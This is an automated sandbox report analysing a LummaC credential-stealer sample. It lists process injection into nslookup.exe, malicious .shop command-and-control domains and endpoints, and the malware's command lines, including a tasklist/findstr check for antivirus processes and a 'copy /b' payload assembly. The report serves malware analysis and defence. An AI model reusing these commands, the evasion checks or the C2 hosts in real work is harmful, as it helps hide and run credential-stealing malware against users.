Source: Amcache.hve.19.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.19.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.19.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.19.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.19.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.19.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: nslookup.exe, 00000010.00000002.2271858252.0000000002F1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Amcache.hve.19.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.19.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.19.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.19.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.19.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.19.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.19.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.19.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.19.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.19.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.19.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\SysWOW64\nslookup.exe

API call chain: ExitProcess graph end node

graph_16-21700

Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\nslookup.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\nslookup.exe

Code function: 16_2_02CA6BB0 LdrInitializeThunk,

16_2_02CA6BB0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif

Memory written: C:\Windows\SysWOW64\nslookup.exe base: 2C60000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: nslookup.exe	String found in binary or memory: gutterydhowi.shop
Source: nslookup.exe	String found in binary or memory: offensivedzvju.shop
Source: nslookup.exe	String found in binary or memory: vozmeatillu.shop
Source: nslookup.exe	String found in binary or memory: ghostreedmnu.shop
Source: nslookup.exe	String found in binary or memory: stogeneratmns.shop
Source: nslookup.exe	String found in binary or memory: reinforcenh.shop
Source: nslookup.exe	String found in binary or memory: drawzhotdog.shop
Source: nslookup.exe	String found in binary or memory: fragnantbui.shop

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Memory written: C:\Windows\SysWOW64\nslookup.exe base: 2C60000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Memory written: C:\Windows\SysWOW64\nslookup.exe base: 2A4D000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Messenger Messenger.bat & Messenger.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 383775	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ManufacturedBuyingTouchSecond" Jacket	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Interface + ..\Populations + ..\Gathering + ..\Did + ..\Depression + ..\Depending + ..\Proposals C	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif Fridge.pif C	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Process created: C:\Windows\SysWOW64\nslookup.exe C:\Windows\SysWOW64\nslookup.exe	Jump to behavior

Source: file.exe, 00000000.00000003.1489349176.000000000297E000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif, 0000000B.00000000.1537620476.0000000000E46000.00000002.00000001.01000000.00000007.sdmp, Fridge.pif.2.dr, Zip.0.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Windows\SysWOW64\nslookup.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: Amcache.hve.19.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	212 Process Injection	11 Masquerading	11 Input Capture	21 Security Software Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	11 Input Capture	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	212 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	11%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gutterydhowi.shop	172.67.132.32	true	true		unknown
nrbDrRupdENT.nrbDrRupdENT	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
fragnantbui.shop	true	unknown
gutterydhowi.shop	true	unknown
offensivedzvju.shop	true	unknown
https://gutterydhowi.shop/api	true	unknown
drawzhotdog.shop	true	unknown
ghostreedmnu.shop	true	unknown
stogeneratmns.shop	true	unknown
reinforcenh.shop	true	unknown
vozmeatillu.shop	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif, 0000000B.00000000.1537702607.0000000000E59000.00000002.00000001.01000000.00000007.sdmp, Fridge.pif.2.dr, Zip.0.dr	false		unknown
http://upx.sf.net	Amcache.hve.19.dr	false	URL Reputation: safe	unknown
https://gutterydhowi.shop/	nslookup.exe, 00000010.00000002.2271858252.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, nslookup.exe, 00000010.00000002.2271858252.0000000002F43000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	file.exe	false	URL Reputation: safe	unknown
https://www.autoitscript.com/autoit3/	file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	false		unknown
https://gutterydhowi.shop/apiLD	nslookup.exe, 00000010.00000002.2271858252.0000000002F43000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://gutterydhowi.shop/t	nslookup.exe, 00000010.00000002.2271858252.0000000002F43000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://gutterydhowi.shop/api;	nslookup.exe, 00000010.00000002.2271858252.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.132.32	gutterydhowi.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521589
Start date and time:	2024-09-29 00:52:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@27/26@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 50 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
18:53:17	API Interceptor	1x Sleep call for process: file.exe modified
18:53:23	API Interceptor	56x Sleep call for process: Fridge.pif modified
18:54:25	API Interceptor	1x Sleep call for process: nslookup.exe modified
18:54:32	API Interceptor	3x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.132.32	ODFkNglL18.exe	Get hash	malicious	FormBook	Browse	www.vulcanrussia23.xyz/u6vb/?d2=8RKM9+ogc/zNp3a/v/pVBSMp5jGU9CsjRndkhXr9Vs/ymBgKZqRBOQixxTSimPHWcZ1z&4hLT6=9r_Xq4bPK8itcl2p

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gutterydhowi.shop	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	injector V2.4.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	FoS5cjKhd3.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	kewyIO69TI.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	0UB3FIL25c.exe	Get hash	malicious	LummaC	Browse	172.67.132.32

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://virasimex.com/wpadmin	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://btinternet-105262.weeblysite.com/	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://swiftversedapp.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	https://ardam.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://krakennylog.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	104.16.117.116
	https://dappnoderestore.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://nftpack83.vercel.app/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://coin-pro-base-login.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	172.64.147.209

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	SmokeLoader	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	172.67.132.32
	Trjscan_[7MB]_[unsign].exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	Trjscan_[7MB]_[unsign].exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	injector V2.4.exe	Get hash	malicious	LummaC	Browse	172.67.132.32

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	file.exe	Get hash	malicious	Amadey	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	Z09QznvZSr.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bad_module_info_f5b4a6202a53ee73c263cc4c99e711b13cd935ac_85207d7d_5197b056-45af-426f-a652-3994f53f1be0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5816736377361319
Encrypted:	false
SSDEEP:	96:ka7TlcF45RsQhMov7JfqQXIDcQ4c6fcE+cw3tZAX/d5FMT2SlPkpXmTA/f/VXT5c:/pcF45RD0WbkQzuiF3Z24IO8b
MD5:	A05B0E1250C4195098B3660F9D74A0D9
SHA1:	908F4AFC88F67AABEA18B1860AEC6902855D847D
SHA-256:	065C786872D5F9524A036FCAFEAB0B36AC6FECA9D4F2FA207E1172BCAD9D1794
SHA-512:	516494946DCE98469E7CF3AD5F910A537B4FAAB0CF21CCE98924E03937F4F32E63DF1C1EBB4D114FA836D146FCEF73201DA705777ECBA3716C6F1C5B9FBDCB6A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.0.3.7.6.7.5.1.9.9.3.8.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.0.3.7.6.7.5.4.6.5.0.0.4.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.1.9.7.b.0.5.6.-.4.5.a.f.-.4.2.6.f.-.a.6.5.2.-.3.9.9.4.f.5.3.f.1.b.e.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.a.0.8.3.2.3.f.-.d.b.f.c.-.4.2.2.a.-.a.8.4.e.-.5.7.7.2.e.2.e.8.4.5.9.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.b.a.d._.m.o.d.u.l.e._.i.n.f.o.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.3.8.-.0.0.0.1.-.0.0.1.4.-.4.5.3.3.-.5.7.5.9.f.9.1.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.9.4.e.e.f.8.2.0.3.7.1.3.5.c.4.6.a.f.a.d.d.6.4.1.c.5.8.f.8.d.4.6.e.2.3.9.9.c.2.b.!.n.s.l.o.o.k.u.p...e.x.e.....T.a.r.g.e.t.A.p.p.V.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_nslookup.exe_3c5336c3a91c2d57579c766c54c3ffcf93cb0a8_d8dedb28_c4ffb878-36ea-48a3-949b-383c3d1710f8\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.008126516792072
Encrypted:	false
SSDEEP:	96:E9FYFG/knsqsqo1yDfJQXIDcQac6pcEccw35R4+HbHgnoW6He12rLhOyRxDfQLP+:8uG/knpK00tGdjeGeHzuiF3Z24IO8Df
MD5:	D4355FB6C3D5FCBF044906C3333C0A4A
SHA1:	1A51ADC6E2C3157F59572B80B9828FBC956910BB
SHA-256:	023B42639D68D1ECD156274540E4B88E9ABDA2D61D4E03AA4A7545CB1B16F283
SHA-512:	4EBB669761DB7E018AC7BEDEFCC9225647A6E052A252517B6805FC9578181A75479154DD4D6C5CE04FA4AFF076656B4CDA7F48D997B750B135E68614E0F5B5FA
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.0.3.7.6.7.2.3.4.3.3.6.4.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.0.3.7.6.7.2.7.1.8.3.0.8.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.4.f.f.b.8.7.8.-.3.6.e.a.-.4.8.a.3.-.9.4.9.b.-.3.8.3.c.3.d.1.7.1.0.f.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.b.e.c.1.8.b.5.-.3.e.2.b.-.4.4.2.6.-.8.6.7.4.-.3.7.2.3.c.1.9.1.c.b.1.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.n.s.l.o.o.k.u.p...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.n.s.l.o.o.k.u.p...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.3.8.-.0.0.0.1.-.0.0.1.4.-.4.5.3.3.-.5.7.5.9.f.9.1.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.9.4.e.e.f.8.2.0.3.7.1.3.5.c.4.6.a.f.a.d.d.6.4.1.c.5.8.f.8.d.4.6.e.2.3.9.9.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_nslookup.exe_64fbbdcacf35376b87949de1959088ed3364abd_d8dedb28_066a074e-8a60-45db-8770-e67f5e74a0b0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0080717679516213
Encrypted:	false
SSDEEP:	192:pJG/kppY0Nvw4sjeGeHzuiF3Z24IO8Df:XMkppzNvw5jmzuiF3Y4IO8b
MD5:	E59ABFAB4AA2A15A31A14AC6FC5CC197
SHA1:	6C93633D694F2078802E19B5A2552FAD45C66225
SHA-256:	870F65FDD1BE7BE8E2986711324AA4826F1FFC9FD035F432790A53C884153971
SHA-512:	7378588AB6DE6C8B632FD4ADC540C6DD9D5EBB9096415D54173A64B37CB7D7D127D0EE35046A52D6ECD691BEE84A9CD5BAC1F6D1A34B512D0DA4FCB9F2691955
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.0.3.7.6.6.6.5.4.1.2.3.0.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.0.3.7.6.6.6.9.3.1.8.5.2.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.6.6.a.0.7.4.e.-.8.a.6.0.-.4.5.d.b.-.8.7.7.0.-.e.6.7.f.5.e.7.4.a.0.b.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.0.4.4.3.3.e.f.-.6.2.0.4.-.4.d.2.4.-.8.1.2.5.-.b.0.5.b.2.7.b.1.7.7.c.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.n.s.l.o.o.k.u.p...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.n.s.l.o.o.k.u.p...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.3.8.-.0.0.0.1.-.0.0.1.4.-.4.5.3.3.-.5.7.5.9.f.9.1.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.9.4.e.e.f.8.2.0.3.7.1.3.5.c.4.6.a.f.a.d.d.6.4.1.c.5.8.f.8.d.4.6.e.2.3.9.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER82F2.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Sep 28 22:54:26 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	110808
Entropy (8bit):	2.0451677991027517
Encrypted:	false
SSDEEP:	384:b7JkZTOf3rkBsDF1FHMh1dk4znl/EPI7THCsVXsx1F7mDW95V:hX7kBWHfuEA7TjslR5V
MD5:	F04EF699A0380182EDB3ECC4871590B1
SHA1:	BFA6A34E8C29CA353D88C1374838E6D8E6959508
SHA-256:	32889F0C482F2EF49FC2767AB786B1541FF13AE86BEE1A0DBF361AECD6385120
SHA-512:	4DF7DBF7397FE3F6E7D2B1C2350A4EDBEE437FD2D36E967BAFBB604829D0B9C7E5AC2D7791B65B165E54EC4BA68849070BACF32DCA078C8F63B3D3BFF8341D12
Malicious:	false
Preview:	MDMP..a..... ......."..f....................................<....!......d....D..........`.......8...........T............?..Xq...........!...........#..............................................................................eJ......@$......GenuineIntel............T.......8......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83DD.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	3.7154687520295333
Encrypted:	false
SSDEEP:	192:R6l7wVeJS66IgkYmQJWQlprW89bgjsfMgm:R6lXJ/6IgkYmQJWogIf6
MD5:	BE8894E2B935274F1634A6B5766BF31B
SHA1:	166A7B9C966264FD3B654B2E6FE64D5362769C9F
SHA-256:	ACC1DEEBC227CBABE1C9596568C72DAA51DBEF94B6435D8390856D66B6CD7013
SHA-512:	0DABF5852084CB210DC3065EDB4799EB7DE837D0BC48E593A72153F4608B793985ABEB3BCEE1D9D62A52BDA286EAD4185C00C31E0331FCDD4DAD931E4C520475
Malicious:	false
